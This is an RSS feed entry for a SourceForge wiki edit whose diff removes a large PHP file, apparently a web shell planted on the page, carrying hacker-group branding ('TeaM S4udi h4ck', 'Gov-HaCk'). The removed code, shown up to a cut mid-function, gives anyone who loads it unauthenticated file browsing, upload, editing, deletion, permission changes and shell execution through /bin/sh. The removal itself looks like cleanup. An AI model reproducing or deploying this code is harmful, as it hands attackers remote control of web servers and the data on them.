<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Recent changes to Home</title><link>https://sourceforge.net/adobe/wiki/Home/</link><description>Recent changes to Home</description><atom:link href="https://sourceforge.net/adobe/wiki/Home/feed" rel="self"/><language>en</language><lastBuildDate>Wed, 01 May 2013 02:09:48 -0000</lastBuildDate><atom:link href="https://sourceforge.net/adobe/wiki/Home/feed" rel="self" type="application/rss+xml"/><item><title>Home modified by Dave Brondsema</title><link>https://sourceforge.net/adobe/wiki/Home/</link><description>&lt;pre&gt;&amp;lt;pre&amp;gt;--- v31
+++ v32
@@ -1,2491 +1,16 @@
-&amp;lt;?php
-/*
- * TeaM  S4udi h4ck - a simple Web-based file manager
- * Copyright (C) 2004  TeaM  S4udi h4ck &amp;lt;SiL@HOTMAIL.COM&amp;gt;
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
- *
- * -------------------------------------------------------------------------
- * While using this script, do NOT navigate with your browser's back and
- * forward buttons! Always open files in a new browser tab!
- * -------------------------------------------------------------------------
- *
- * This is Version 0.9, revision 9
- * =========================================================================
- *
- * Changes of revision 9
- * &amp;lt;SiL@HOTMAIL.COM&amp;gt;
- *    added workaround for directory listing, if lstat() is disabled
- *    fixed permisson of uploaded files (thanks to Stephan Duffner)
- *
- * Changes of revision 8
- * &amp;lt;okankan@stud.sdu.edu.tr&amp;gt;
- *    added Turkish translation
- * &amp;lt;j@kub.cz&amp;gt;
- *    added Czech translation
- * &amp;lt;SiL@HOTMAIL.COM&amp;gt;
- *    improved charset handling
- *
- * Changes of revision 7
- * &amp;lt;szuniga@vtr.net&amp;gt;
- *    added Spanish translation
- * &amp;lt;lars@soelgaard.net&amp;gt;
- *    added Danish translation
- * &amp;lt;SiL@HOTMAIL.COM&amp;gt;
- *    improved rename dialog
- *
- * Changes of revision 6
- * &amp;lt;nederkoorn@tiscali.nl&amp;gt;
- *    added Dutch translation
- *
- * Changes of revision 5
- * &amp;lt;I0X0@HOTMAIL.COM&amp;gt;
- *    added language auto select
- *    fixed symlinks in directory listing
- *    removed word-wrap in edit textarea
- *
- * Changes of revision 4
- * &amp;lt;daloan@guideo.fr&amp;gt;
- *    added French translation
- * &amp;lt;anders@wiik.cc&amp;gt;
- *    added Swedish translation
- *
- * Changes of revision 3
- * &amp;lt;nzunta@gabriele-erba.it&amp;gt;
- *    improved Italian translation
- *
- * Changes of revision 2
- * &amp;lt;I0X0@HOTMAIL.COM&amp;gt;
- *    got images work in some old browsers
- *    fixed creation of directories
- *    fixed files deletion
- *    improved path handling
- *    added missing word 'not_created'
- * &amp;lt;till@tuxen.de&amp;gt;
- *    improved human readability of file sizes
- * &amp;lt;nzunta@gabriele-erba.it&amp;gt;
- *    added Italian translation
- *
- * Changes of revision 1
- * &amp;lt;I0X0@HOTMAIL.COM&amp;gt;
- *    SauDi KiLLeR - Group Gov-HaCk completely rewritten:
- *    - clean XHTML/CSS output
- *    - several files selectable
- *    - support for windows servers
- *    - no more treeview, because
- *      - SauDi KiLLeR - Group Gov-HaCk is a &amp;gt;simple&amp;lt; file manager
- *      - performance problems (too much additional code)
- *      - I don't like: frames, java-script, to reload after every treeview-click
- *    - execution of shell scripts
- *    - introduced revision numbers
- *
-/* ------------------------------------------------------------------------- */
-
-/* Your language:
- * 'en' - English
- * 'de' - German
- * 'fr' - French
- * 'it' - Italian
- * 'nl' - Dutch
- * 'se' - Swedish
- * 'sp' - Spanish
- * 'dk' - Danish
- * 'tr' - Turkish
- * 'cs' - Czech
- * 'auto' - autoselect
- */
-$lang = 'auto';
-
-/* Charset of output:
- * possible values are described in the charset table at
- * http://www.php.net/manual/en/function.htmlentities.php
- * 'auto' - use the same charset as the words of my language are encoded
- */
-$site_charset = 'auto';
-
-/* Homedir:
- * For example: './' - the script's directory
- */
-$homedir = './';
-
-/* Size of the edit textarea
- */
-$editcols = 80;
-$editrows = 25;
-
-/* -------------------------------------------
- * Optional configuration (remove # to enable)
- */
-
-/* Permission of created directories:
- * For example: 0705 would be 'drwx---r-x'.
- */
-# $dirpermission = 0705;
-
-/* Permission of created files:
- * For example: 0604 would be '-rw----r--'.
- */
-# $filepermission = 0604;
-
-/* Filenames related to the apache web server:
- */
-$htaccess = '.htaccess';
-$htpasswd = '.htpasswd';
-
-/* ------------------------------------------------------------------------- */
-
-if (get_magic_quotes_gpc()) {
-	array_walk($_GET, 'strip');
-	array_walk($_POST, 'strip');
-	array_walk($_REQUEST, 'strip');
-}
-
-if (array_key_exists('image', $_GET)) {
-	header('Content-Type: image/gif');
-	die(getimage($_GET['image']));
-}
-
-if (!function_exists('lstat')) {
-	function lstat ($filename) {
-		return stat($filename);
-	}
-}
-
-$delim = DIRECTORY_SEPARATOR;
-
-if (function_exists('php_uname')) {
-	$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
-} else {
-	$win = ($delim == '\\') ? true : false;
-}
-
-if (!empty($_SERVER['PATH_TRANSLATED'])) {
-	$scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
-} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
-	$scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
-} elseif (function_exists('getcwd')) {
-	$scriptdir = getcwd();
-} else {
-	$scriptdir = '.';
-}
-$homedir = relative2absolute($homedir, $scriptdir);
-
-$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
-
-if (array_key_exists('olddir', $_POST) &amp;amp;&amp;amp; !path_is_relative($_POST['olddir'])) {
-	$dir = relative2absolute($dir, $_POST['olddir']);
-}
-
-$directory = simplify_path(addslash($dir));
-
-$files = array();
-$action = '';
-if (!empty($_POST['submit_all'])) {
-	$action = $_POST['action_all'];
-	for ($i = 0; $i &amp;lt; $_POST['num']; $i++) {
-		if (array_key_exists("checked$i", $_POST) &amp;amp;&amp;amp; $_POST["checked$i"] == 'true') {
-			$files[] = $_POST["file$i"];
-		}
-	}
-} elseif (!empty($_REQUEST['action'])) {
-	$action = $_REQUEST['action'];
-	$files[] = relative2absolute($_REQUEST['file'], $directory);
-} elseif (!empty($_POST['submit_upload']) &amp;amp;&amp;amp; !empty($_FILES['upload']['name'])) {
-	$files[] = $_FILES['upload'];
-	$action = 'upload';
-} elseif (array_key_exists('num', $_POST)) {
-	for ($i = 0; $i &amp;lt; $_POST['num']; $i++) {
-		if (array_key_exists("submit$i", $_POST)) break;
-	}
-	if ($i &amp;lt; $_POST['num']) {
-		$action = $_POST["action$i"];
-		$files[] = $_POST["file$i"];
-	}
-}
-if (empty($action) &amp;amp;&amp;amp; (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) &amp;amp;&amp;amp; $_POST['focus'] == 'create')) &amp;amp;&amp;amp; !empty($_POST['create_name'])) {
-	$files[] = relative2absolute($_POST['create_name'], $directory);
-	switch ($_POST['create_type']) {
-	case 'directory':
-		$action = 'create_directory';
-		break;
-	case 'file':
-		$action = 'create_file';
-	}
-}
-if (sizeof($files) == 0) $action = ''; else $file = reset($files);
-
-if ($lang == 'auto') {
-	if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) &amp;amp;&amp;amp; strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) &amp;gt;= 2) {
-		$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
-	} else {
-		$lang = 'en';
-	}
-}
-
-$words = getwords($lang);
-
-if ($site_charset == 'auto') {
-	$site_charset = $word_charset;
-}
-
-$cols = ($win) ? 4 : 7;
-
-if (!isset($dirpermission)) {
-	$dirpermission = (function_exists('umask')) ? (0777 &amp;amp; ~umask()) : 0755;
-}
-if (!isset($filepermission)) {
-	$filepermission = (function_exists('umask')) ? (0666 &amp;amp; ~umask()) : 0644;
-}
-
-if (!empty($_SERVER['SCRIPT_NAME'])) {
-	$self = html(basename($_SERVER['SCRIPT_NAME']));
-} elseif (!empty($_SERVER['PHP_SELF'])) {
-	$self = html(basename($_SERVER['PHP_SELF']));
-} else {
-	$self = '';
-}
-
-if (!empty($_SERVER['SERVER_SOFTWARE'])) {
-	if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
-		$apache = true;
-	} else {
-		$apache = false;
-	}
-} else {
-	$apache = true;
-}
-
-switch ($action) {
-
-case 'view':
-
-	if (is_script($file)) {
-
-		/* highlight_file is a mess! */
-		ob_start();
-		highlight_file($file);
-		$src = ereg_replace('&amp;lt;font color="([^"]*)"&amp;gt;', '&amp;lt;span style="color: \1"&amp;gt;', ob_get_contents());
-		$src = str_replace(array('&amp;lt;/font&amp;gt;', "\r", "\n"), array('&amp;lt;/span&amp;gt;', '', ''), $src);
-		ob_end_clean();
-
-		html_header();
-		echo '&amp;lt;h2 style="text-align: left; margin-bottom: 0"&amp;gt;' . html($file) . '&amp;lt;/h2&amp;gt;
-
-&amp;lt;hr /&amp;gt;
-
-&amp;lt;table&amp;gt;
-&amp;lt;tr&amp;gt;
-&amp;lt;td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray"&amp;gt;
-&amp;lt;pre style="margin-top: 0"&amp;gt;&amp;lt;code&amp;gt;';
-
-		for ($i = 1; $i &amp;lt;= sizeof(file($file)); $i++) echo "$i\n";
-
-		echo '&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;
-&amp;lt;/td&amp;gt;
-&amp;lt;td style="text-align: left; vertical-align: top; padding-left: 3pt"&amp;gt;
-&amp;lt;pre style="margin-top: 0"&amp;gt;' . $src . '&amp;lt;/pre&amp;gt;
-&amp;lt;/td&amp;gt;
-&amp;lt;/tr&amp;gt;
-&amp;lt;/table&amp;gt;
-
-';
-
-		html_footer();
-
-	} else {
-
-		header('Content-Type: ' . getmimetype($file));
-		header('Content-Disposition: filename=' . basename($file));
-
-		readfile($file);
-
-	}
-
-	break;
-
-case 'download':
-
-	header('Pragma: public');
-	header('Expires: 0');
-	header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
-	header('Content-Type: ' . getmimetype($file));
-	header('Content-Disposition: attachment; filename=' . basename($file) . ';');
-	header('Content-Length: ' . filesize($file));
-
-	readfile($file);
-
-	break;
-
-case 'upload':
-
-	$dest = relative2absolute($file['name'], $directory);
-
-	if (@file_exists($dest)) {
-		listing_page(error('already_exists', $dest));
-	} elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
-		@chmod($dest, $filepermission);
-		listing_page(notice('uploaded', $file['name']));
-	} else {
-		listing_page(error('not_uploaded', $file['name']));
-	}
-
-	break;
-
-case 'create_directory':
-
-	if (@file_exists($file)) {
-		listing_page(error('already_exists', $file));
-	} else {
-		$old = @umask(0777 &amp;amp; ~$dirpermission);
-		if (@mkdir($file, $dirpermission)) {
-			listing_page(notice('created', $file));
-		} else {
-			listing_page(error('not_created', $file));
-		}
-		@umask($old);
-	}
-
-	break;
-
-case 'create_file':
-
-	if (@file_exists($file)) {
-		listing_page(error('already_exists', $file));
-	} else {
-		$old = @umask(0777 &amp;amp; ~$filepermission);
-		if (@touch($file)) {
-			edit($file);
-		} else {
-			listing_page(error('not_created', $file));
-		}
-		@umask($old);
-	}
-
-	break;
-
-case 'execute':
-
-	chdir(dirname($file));
-
-	$output = array();
-	$retval = 0;
-	exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
-
-	$error = ($retval == 0) ? false : true;
-
-	if (sizeof($output) == 0) $output = array('&amp;lt;' . $words['no_output'] . '&amp;gt;');
-
-	if ($error) {
-		listing_page(error('not_executed', $file, implode("\n", $output)));
-	} else {
-		listing_page(notice('executed', $file, implode("\n", $output)));
-	}
-
-	break;
-
-case 'delete':
-
-	if (!empty($_POST['no'])) {
-		listing_page();
-	} elseif (!empty($_POST['yes'])) {
-
-		$failure = array();
-		$success = array();
-
-		foreach ($files as $file) {
-			if (del($file)) {
-				$success[] = $file;
-			} else {
-				$failure[] = $file;
-			}
-		}
-
-		$message = '';
-		if (sizeof($failure) &amp;gt; 0) {
-			$message = error('not_deleted', implode("\n", $failure));
-		}
-		if (sizeof($success) &amp;gt; 0) {
-			$message .= notice('deleted', implode("\n", $success));
-		}
-
-		listing_page($message);
-
-	} else {
-
-		html_header();
-
-		echo '&amp;lt;form action="' . $self . '" method="post"&amp;gt;
-&amp;lt;table class="dialog"&amp;gt;
-&amp;lt;tr&amp;gt;
-&amp;lt;td class="dialog"&amp;gt;
-';
-
-		request_dump();
-
-		echo "\t&amp;lt;b&amp;gt;" . word('really_delete') . '&amp;lt;/b&amp;gt;
-	&amp;lt;p&amp;gt;
-';
-
-		foreach ($files as $file) {
-			echo "\t" . html($file) . "&amp;lt;br /&amp;gt;\n";
-		}
-
-		echo '	&amp;lt;/p&amp;gt;
-	&amp;lt;hr /&amp;gt;
-	&amp;lt;input type="submit" name="no" value="' . word('no') . '" id="red_button" /&amp;gt;
-	&amp;lt;input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" /&amp;gt;
-&amp;lt;/td&amp;gt;
-&amp;lt;/tr&amp;gt;
-&amp;lt;/table&amp;gt;
-&amp;lt;/form&amp;gt;
-
-';
-
-		html_footer();
-
-	}
-
-	break;
-
-case 'rename':
-
-	if (!empty($_POST['destination'])) {
-
-		$dest = relative2absolute($_POST['destination'], $directory);
-
-		if (!@file_exists($dest) &amp;amp;&amp;amp; @rename($file, $dest)) {
-			listing_page(notice('renamed', $file, $dest));
-		} else {
-			listing_page(error('not_renamed', $file, $dest));
-		}
-
-	} else {
-
-		$name = basename($file);
-
-		html_header();
-
-		echo '&amp;lt;form action="' . $self . '" method="post"&amp;gt;
-
-&amp;lt;table class="dialog"&amp;gt;
-&amp;lt;tr&amp;gt;
-&amp;lt;td class="dialog"&amp;gt;
-	&amp;lt;input type="hidden" name="action" value="rename" /&amp;gt;
-	&amp;lt;input type="hidden" name="file" value="' . html($file) . '" /&amp;gt;
-	&amp;lt;input type="hidden" name="dir" value="' . html($directory) . '" /&amp;gt;
-	&amp;lt;b&amp;gt;' . word('rename_file') . '&amp;lt;/b&amp;gt;
-	&amp;lt;p&amp;gt;' . html($file) . '&amp;lt;/p&amp;gt;
-	&amp;lt;b&amp;gt;' . substr($file, 0, strlen($file) - strlen($name)) . '&amp;lt;/b&amp;gt;
-	&amp;lt;input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" /&amp;gt;
-	&amp;lt;hr /&amp;gt;
-	&amp;lt;input type="submit" value="' . word('rename') . '" /&amp;gt;
-&amp;lt;/td&amp;gt;
-&amp;lt;/tr&amp;gt;
-&amp;lt;/table&amp;gt;
-
-&amp;lt;p&amp;gt;&amp;lt;a href="' . $self . '?dir=' . urlencode($directory) . '"&amp;gt;[ ' . word('back') . ' ]&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
-
-&amp;lt;/form&amp;gt;
-
-';
-
-		html_footer();
-
-	}
-
-	break;
-
-case 'move':
-
-	if (!empty($_POST['destination'])) {
-
-		$dest = relative2absolute($_POST['destination'], $directory);
-
-		$failure = array();
-		$success = array();
-
-		foreach ($files as $file) {
-			$filename = substr($file, strlen($directory));
-			$d = $dest . $filename;
-			if (!@file_exists($d) &amp;amp;&amp;amp; @rename($file, $d)) {
-				$success[] = $file;
-			} else {
-				$failure[] = $file;
-			}
-		}
-
-		$message = '';
-		if (sizeof($failure) &amp;gt; 0) {
-			$message = error('not_moved', implode("\n", $failure), $dest);
-		}
-		if (sizeof($success) &amp;gt; 0) {
-			$message .= notice('moved', implode("\n", $success), $dest);
-		}
-
-		listing_page($message);
-
-	} else {
-
-		html_header();
-
-		echo '&amp;lt;form action="' . $self . '" method="post"&amp;gt;
-
-&amp;lt;table class="dialog"&amp;gt;
-&amp;lt;tr&amp;gt;
-&amp;lt;td class="dialog"&amp;gt;
-';
-
-		request_dump();
-
-		echo "\t&amp;lt;b&amp;gt;" . word('move_files') . '&amp;lt;/b&amp;gt;
-	&amp;lt;p&amp;gt;
-';
-
-		foreach ($files as $file) {
-			echo "\t" . html($file) . "&amp;lt;br /&amp;gt;\n";
-		}
-
-		echo '	&amp;lt;/p&amp;gt;
-	&amp;lt;hr /&amp;gt;
-	' . word('destination') . ':
-	&amp;lt;input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" /&amp;gt;
-	&amp;lt;input type="submit" value="' . word('move') . '" /&amp;gt;
-&amp;lt;/td&amp;gt;
-&amp;lt;/tr&amp;gt;
-&amp;lt;/table&amp;gt;
-
-&amp;lt;p&amp;gt;&amp;lt;a href="' . $self . '?dir=' . urlencode($directory) . '"&amp;gt;[ ' . word('back') . ' ]&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
-
-&amp;lt;/form&amp;gt;
-
-';
-
-		html_footer();
-
-	}
-
-	break;
-
-case 'copy':
-
-	if (!empty($_POST['destination'])) {
-
-		$dest = relative2absolute($_POST['destination'], $directory);
-
-		if (@is_dir($dest)) {
-
-			$failure = array();
-			$success = array();
-
-			foreach ($files as $file) {
-				$filename = substr($file, strlen($directory));
-				$d = addslash($dest) . $filename;
-				if (!@is_dir($file) &amp;amp;&amp;amp; !@file_exists($d) &amp;amp;&amp;amp; @copy($file, $d)) {
-					$success[] = $file;
-				} else {
-					$failure[] = $file;
-				}
-			}
-
-			$message = '';
-			if (sizeof($failure) &amp;gt; 0) {
-				$message = error('not_copied', implode("\n", $failure), $dest);
-			}
-			if (sizeof($success) &amp;gt; 0) {
-				$message .= notice('copied', implode("\n", $success), $dest);
-			}
-
-			listing_page($message);
-
-		} else {
-
-			if (!@file_exists($dest) &amp;amp;&amp;amp; @copy($file, $dest)) {
-				listing_page(notice('copied', $file, $dest));
-			} else {
-				listing_page(error('not_copied', $file, $dest));
-			}
-
-		}
-
-	} else {
-
-		html_header();
-
-		echo '&amp;lt;form action="' . $self . '" method="post"&amp;gt;
-
-&amp;lt;table class="dialog"&amp;gt;
-&amp;lt;tr&amp;gt;
-&amp;lt;td class="dialog"&amp;gt;
-';
-
-		request_dump();
-
-		echo "\n&amp;lt;b&amp;gt;" . word('copy_files') . '&amp;lt;/b&amp;gt;
-	&amp;lt;p&amp;gt;
-';
-
-		foreach ($files as $file) {
-			echo "\t" . html($file) . "&amp;lt;br /&amp;gt;\n";
-		}
-
-		echo '	&amp;lt;/p&amp;gt;
-	&amp;lt;hr /&amp;gt;
-	' . word('destination') . ':
-	&amp;lt;input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" /&amp;gt;
-	&amp;lt;input type="submit" value="' . word('copy') . '" /&amp;gt;
-&amp;lt;/td&amp;gt;
-&amp;lt;/tr&amp;gt;
-&amp;lt;/table&amp;gt;
-
-&amp;lt;p&amp;gt;&amp;lt;a href="' . $self . '?dir=' . urlencode($directory) . '"&amp;gt;[ ' . word('back') . ' ]&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
-
-&amp;lt;/form&amp;gt;
-
-';
-
-		html_footer();
-
-	}
-
-	break;
-
-case 'create_symlink':
-
-	if (!empty($_POST['destination'])) {
-
-		$dest = relative2absolute($_POST['destination'], $directory);
-
-		if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
-
-		if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
-
-		if (!@file_exists($dest) &amp;amp;&amp;amp; @symlink($file, $dest)) {
-			listing_page(notice('symlinked', $file, $dest));
-		} else {
-			listing_page(error('not_symlinked', $file, $dest));
-		}
-
-	} else {
-
-		html_header();
-
-		echo '&amp;lt;form action="' . $self . '" method="post"&amp;gt;
-
-&amp;lt;table class="dialog" id="symlink"&amp;gt;
-&amp;lt;tr&amp;gt;
-	&amp;lt;td style="vertical-align: top"&amp;gt;' . word('destination') . ': &amp;lt;/td&amp;gt;
-	&amp;lt;td&amp;gt;
-		&amp;lt;b&amp;gt;' . html($file) . '&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;
-		&amp;lt;input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" /&amp;gt;
-		&amp;lt;label for="checkbox_relative"&amp;gt;' . word('relative') . '&amp;lt;/label&amp;gt;
-		&amp;lt;input type="hidden" name="action" value="create_symlink" /&amp;gt;
-		&amp;lt;input type="hidden" name="file" value="' . html($file) . '" /&amp;gt;
-		&amp;lt;input type="hidden" name="dir" value="' . html($directory) . '" /&amp;gt;
-	&amp;lt;/td&amp;gt;
-&amp;lt;/tr&amp;gt;
-&amp;lt;tr&amp;gt;
-	&amp;lt;td&amp;gt;' . word('symlink') . ': &amp;lt;/td&amp;gt;
-	&amp;lt;td&amp;gt;
-		&amp;lt;input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" /&amp;gt;
-		&amp;lt;input type="submit" value="' . word('create_symlink') . '" /&amp;gt;
-	&amp;lt;/td&amp;gt;
-&amp;lt;/tr&amp;gt;
-&amp;lt;/table&amp;gt;
-
-&amp;lt;p&amp;gt;&amp;lt;a href="' . $self . '?dir=' . urlencode($directory) . '"&amp;gt;[ ' . word('back') . ' ]&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
-
-&amp;lt;/form&amp;gt;
-
-';
-
-		html_footer();
-
-	}
-
-	break;
-
-case 'edit':
-
-	if (!empty($_POST['save'])) {
-
-		$content = str_replace("\r\n", "\n", $_POST['content']);
-
-		if (($f = @fopen($file, 'w')) &amp;amp;&amp;amp; @fwrite($f, $content) !== false &amp;amp;&amp;amp; @fclose($f)) {
-			listing_page(notice('saved', $file));
-		} else {
-			listing_page(error('not_saved', $file));
-		}
-
-	} else {
-
-		if (@is_readable($file) &amp;amp;&amp;amp; @is_writable($file)) {
-			edit($file);
-		} else {
-			listing_page(error('not_edited', $file));
-		}
-
-	}
-
-	break;
-
-case 'permission':
-
-	if (!empty($_POST['set'])) {
-
-		$mode = 0;
-		if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
-		if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
-		if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
-
-		if (@chmod($file, $mode)) {
-			listing_page(notice('permission_set', $file, decoct($mode)));
-		} else {
-			listing_page(error('permission_not_set', $file, decoct($mode)));
-		}
-
-	} else {
-
-		html_header();
-
-		$mode = fileperms($file);
-
-		echo '&amp;lt;form action="' . $self . '" method="post"&amp;gt;
-
-&amp;lt;table class="dialog"&amp;gt;
-&amp;lt;tr&amp;gt;
-&amp;lt;td class="dialog"&amp;gt;
-
-	&amp;lt;p style="margin: 0"&amp;gt;' . phrase('permission_for', $file) . '&amp;lt;/p&amp;gt;
-
-	&amp;lt;hr /&amp;gt;
-
-	&amp;lt;table id="permission"&amp;gt;
-	&amp;lt;tr&amp;gt;
-		&amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;
-		&amp;lt;td style="border-right: 1px solid black"&amp;gt;' . word('owner') . '&amp;lt;/td&amp;gt;
-		&amp;lt;td style="border-right: 1px solid black"&amp;gt;' . word('group') . '&amp;lt;/td&amp;gt;
-		&amp;lt;td&amp;gt;' . word('other') . '&amp;lt;/td&amp;gt;
-	&amp;lt;/tr&amp;gt;
-	&amp;lt;tr&amp;gt;
-		&amp;lt;td style="text-align: right"&amp;gt;' . word('read') . ':&amp;lt;/td&amp;gt;
-		&amp;lt;td&amp;gt;&amp;lt;input type="checkbox" name="ur" value="1"'; if ($mode &amp;amp; 00400) echo ' checked="checked"'; echo ' /&amp;gt;&amp;lt;/td&amp;gt;
-		&amp;lt;td&amp;gt;&amp;lt;input type="checkbox" name="gr" value="1"'; if ($mode &amp;amp; 00040) echo ' checked="checked"'; echo ' /&amp;gt;&amp;lt;/td&amp;gt;
-		&amp;lt;td&amp;gt;&amp;lt;input type="checkbox" name="or" value="1"'; if ($mode &amp;amp; 00004) echo ' checked="checked"'; echo ' /&amp;gt;&amp;lt;/td&amp;gt;
-	&amp;lt;/tr&amp;gt;
-	&amp;lt;tr&amp;gt;
-		&amp;lt;td style="text-align: right"&amp;gt;' . word('write') . ':&amp;lt;/td&amp;gt;
-		&amp;lt;td&amp;gt;&amp;lt;input type="checkbox" name="uw" value="1"'; if ($mode &amp;amp; 00200) echo ' checked="checked"'; echo ' /&amp;gt;&amp;lt;/td&amp;gt;
-		&amp;lt;td&amp;gt;&amp;lt;input type="checkbox" name="gw" value="1"'; if ($mode &amp;amp; 00020) echo ' checked="checked"'; echo ' /&amp;gt;&amp;lt;/td&amp;gt;
-		&amp;lt;td&amp;gt;&amp;lt;input type="checkbox" name="ow" value="1"'; if ($mode &amp;amp; 00002) echo ' checked="checked"'; echo ' /&amp;gt;&amp;lt;/td&amp;gt;
-	&amp;lt;/tr&amp;gt;
-	&amp;lt;tr&amp;gt;
-		&amp;lt;td style="text-align: right"&amp;gt;' . word('execute') . ':&amp;lt;/td&amp;gt;
-		&amp;lt;td&amp;gt;&amp;lt;input type="checkbox" name="ux" value="1"'; if ($mode &amp;amp; 00100) echo ' checked="checked"'; echo ' /&amp;gt;&amp;lt;/td&amp;gt;
-		&amp;lt;td&amp;gt;&amp;lt;input type="checkbox" name="gx" value="1"'; if ($mode &amp;amp; 00010) echo ' checked="checked"'; echo ' /&amp;gt;&amp;lt;/td&amp;gt;
-		&amp;lt;td&amp;gt;&amp;lt;input type="checkbox" name="ox" value="1"'; if ($mode &amp;amp; 00001) echo ' checked="checked"'; echo ' /&amp;gt;&amp;lt;/td&amp;gt;
-	&amp;lt;/tr&amp;gt;
-	&amp;lt;/table&amp;gt;
-
-	&amp;lt;hr /&amp;gt;
-
-	&amp;lt;input type="submit" name="set" value="' . word('set') . '" /&amp;gt;
-
-	&amp;lt;input type="hidden" name="action" value="permission" /&amp;gt;
-	&amp;lt;input type="hidden" name="file" value="' . html($file) . '" /&amp;gt;
-	&amp;lt;input type="hidden" name="dir" value="' . html($directory) . '" /&amp;gt;
-
-&amp;lt;/td&amp;gt;
-&amp;lt;/tr&amp;gt;
-&amp;lt;/table&amp;gt;
-
-&amp;lt;p&amp;gt;&amp;lt;a href="' . $self . '?dir=' . urlencode($directory) . '"&amp;gt;[ ' . word('back') . ' ]&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
-
-&amp;lt;/form&amp;gt;
-
-';
-
-		html_footer();
-
-	}
-
-	break;
-
-default:
-
-	listing_page();
-
-}
-
-/* ------------------------------------------------------------------------- */
-
-function getlist ($directory) {
-	global $delim, $win;
-
-	if ($d = @opendir($directory)) {
-
-		while (($filename = @readdir($d)) !== false) {
-
-			$path = $directory . $filename;
-
-			if ($stat = @lstat($path)) {
-
-				$file = array(
-					'filename'    =&amp;gt; $filename,
-					'path'        =&amp;gt; $path,
-					'is_file'     =&amp;gt; @is_file($path),
-					'is_dir'      =&amp;gt; @is_dir($path),
-					'is_link'     =&amp;gt; @is_link($path),
-					'is_readable' =&amp;gt; @is_readable($path),
-					'is_writable' =&amp;gt; @is_writable($path),
-					'size'        =&amp;gt; $stat['size'],
-					'permission'  =&amp;gt; $stat['mode'],
-					'owner'       =&amp;gt; $stat['uid'],
-					'group'       =&amp;gt; $stat['gid'],
-					'mtime'       =&amp;gt; @filemtime($path),
-					'atime'       =&amp;gt; @fileatime($path),
-					'ctime'       =&amp;gt; @filectime($path)
-				);
-
-				if ($file['is_dir']) {
-					$file['is_executable'] = @file_exists($path . $delim . '.');
-				} else {
-					if (!$win) {
-						$file['is_executable'] = @is_executable($path);
-					} else {
-						$file['is_executable'] = true;
-					}
-				}
-
-				if ($file['is_link']) $file['target'] = @readlink($path);
-
-				if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
-				if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
-
-				$files[] = $file;
-
-			}
-
-		}
-
-		return $files;
-
-	} else {
-		return false;
-	}
-
-}
-
-function sortlist (&amp;amp;$list, $key, $reverse) {
-
-	quicksort($list, 0, sizeof($list) - 1, $key);
-
-	if ($reverse) $list = array_reverse($list);
-
-}
-
-function quicksort (&amp;amp;$array, $first, $last, $key) {
-
-	if ($first &amp;lt; $last) {
-
-		$cmp = $array[floor(($first + $last) / 2)][$key];
-
-		$l = $first;
-		$r = $last;
-
-		while ($l &amp;lt;= $r) {
-
-			while ($array[$l][$key] &amp;lt; $cmp) $l++;
-			while ($array[$r][$key] &amp;gt; $cmp) $r--;
-
-			if ($l &amp;lt;= $r) {
-
-				$tmp = $array[$l];
-				$array[$l] = $array[$r];
-				$array[$r] = $tmp;
-
-				$l++;
-				$r--;
-
-			}
-
-		}
-
-		quicksort($array, $first, $r, $key);
-		quicksort($array, $l, $last, $key);
-
-	}
-
-}
-
-function permission_octal2string ($mode) {
-
-	if (($mode &amp;amp; 0xC000) === 0xC000) {
-		$type = 's';
-	} elseif (($mode &amp;amp; 0xA000) === 0xA000) {
-		$type = 'l';
-	} elseif (($mode &amp;amp; 0x8000) === 0x8000) {
-		$type = '-';
